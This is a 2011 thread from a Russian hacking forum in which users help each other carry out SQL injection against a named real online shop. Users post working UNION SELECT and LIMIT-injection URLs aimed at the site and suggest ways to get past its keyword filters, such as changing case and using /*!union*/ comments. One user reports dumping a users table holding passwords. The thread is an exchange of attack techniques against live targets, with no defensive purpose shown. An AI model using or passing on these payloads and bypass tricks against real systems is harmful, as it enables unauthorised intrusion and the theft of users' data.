ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
03.06.2011, 13:19
|
|
Участник форума
Регистрация: 14.01.2009
Сообщений: 257
Провел на форуме:
1936181
Репутация:
688
|
|
Сообщение от Faaax
M_cript
спасибо за помощь
есть ещё вопросик
есть скуля,но в ней фильтруется и and и union
Код:
http://www.shoptop.ru/sitemap.html?lim1=8250%27%20&&%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56%20#
как обойти фильтрацию union select?
Попробуй поменять регистр.
Ну или /*!union*/
|
|
|
03.06.2011, 19:47
|
|
Новичок
Регистрация: 16.11.2008
Сообщений: 4
Провел на форуме:
24035
Репутация:
0
|
|
Здравствуйте!
Произвел sql inj.
Есть таблица users в ней вся регистрационная информация о пользователях+(столб с названием pass). У всех пользователей в ячейках pass пусто.
Что делать?
Доступ к information schema закрыт.(Load_FILE тоже не работает).
версия мускула 4.1.22-standard
|
|
|
|
03.06.2011, 20:09
|
|
Участник форума
Регистрация: 19.08.2009
Сообщений: 115
Провел на форуме:
111014
Репутация:
8
|
|
Сообщение от G.A.D
Здравствуйте!
Произвел sql inj.
Есть таблица users в ней вся регистрационная информация о пользователях+(столб с названием pass). У всех пользователей в ячейках pass пусто.
Что делать?
Доступ к information schema закрыт.(Load_FILE тоже не работает).
версия мускула 4.1.22-standard
У 4 ветки information_schema нет
|
|
|
|
03.06.2011, 20:22
|
|
Новичок
Регистрация: 16.11.2008
Сообщений: 4
Провел на форуме:
24035
Репутация:
0
|
|
Ясно.
Как быть?
|
|
|
|
03.06.2011, 20:23
|
|
Постоянный
Регистрация: 30.08.2010
Сообщений: 327
Провел на форуме:
124363
Репутация:
11
|
|
Сообщение от f1ng3r
Попробуй поменять регистр.
Ну или /*!union*/
менял,бестолку
|
|
|
|
03.06.2011, 20:25
|
|
Участник форума
Регистрация: 19.08.2009
Сообщений: 115
Провел на форуме:
111014
Репутация:
8
|
|
Сообщение от G.A.D
Ясно.
Как быть?
Крути как blind
/thread19844.html
|
|
|
|
03.06.2011, 20:38
|
|
Познавший АНТИЧАТ
Регистрация: 27.08.2007
Сообщений: 1,107
Провел на форуме:
5386281
Репутация:
1177
|
|
Сообщение от Faaax
менял,бестолку
Выложи сайт, посмотрим.
|
|
|
|
03.06.2011, 20:47
|
|
Новичок
Регистрация: 16.11.2008
Сообщений: 4
Провел на форуме:
24035
Репутация:
0
|
|
Спасибо! Пробовал,не получается.
Все поля кроме pass отображаются.
|
|
|
|
03.06.2011, 20:58
|
|
Новичок
Регистрация: 16.11.2008
Сообщений: 4
Провел на форуме:
24035
Репутация:
0
|
|
Всё Всем Спасибо!
Вопрос снят в таблице два столбца с паролями!=)
FlaktW +1 от меня=)
|
|
|
|
04.06.2011, 15:40
|
|
Участник форума
Регистрация: 19.08.2009
Сообщений: 115
Провел на форуме:
111014
Репутация:
8
|
|
Сообщение от XAMEHA
Tigger
, сайт был выложен.
Faaax
, всё там выводиться:
Код:
http://www.shoptop.ru/sitemap.html?lim1=8252,%208254%20union%20select%20version%28%29,2,3+--+
Инъекция в LIMIT.
Разъяснить, как вы подобрали количество полей
+orde+by+3 +--+
+group+by+3+--+
не проходят, или это простая подстановка +union+select+1,2,3+--+ в запрос
|
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Комбинированный вид
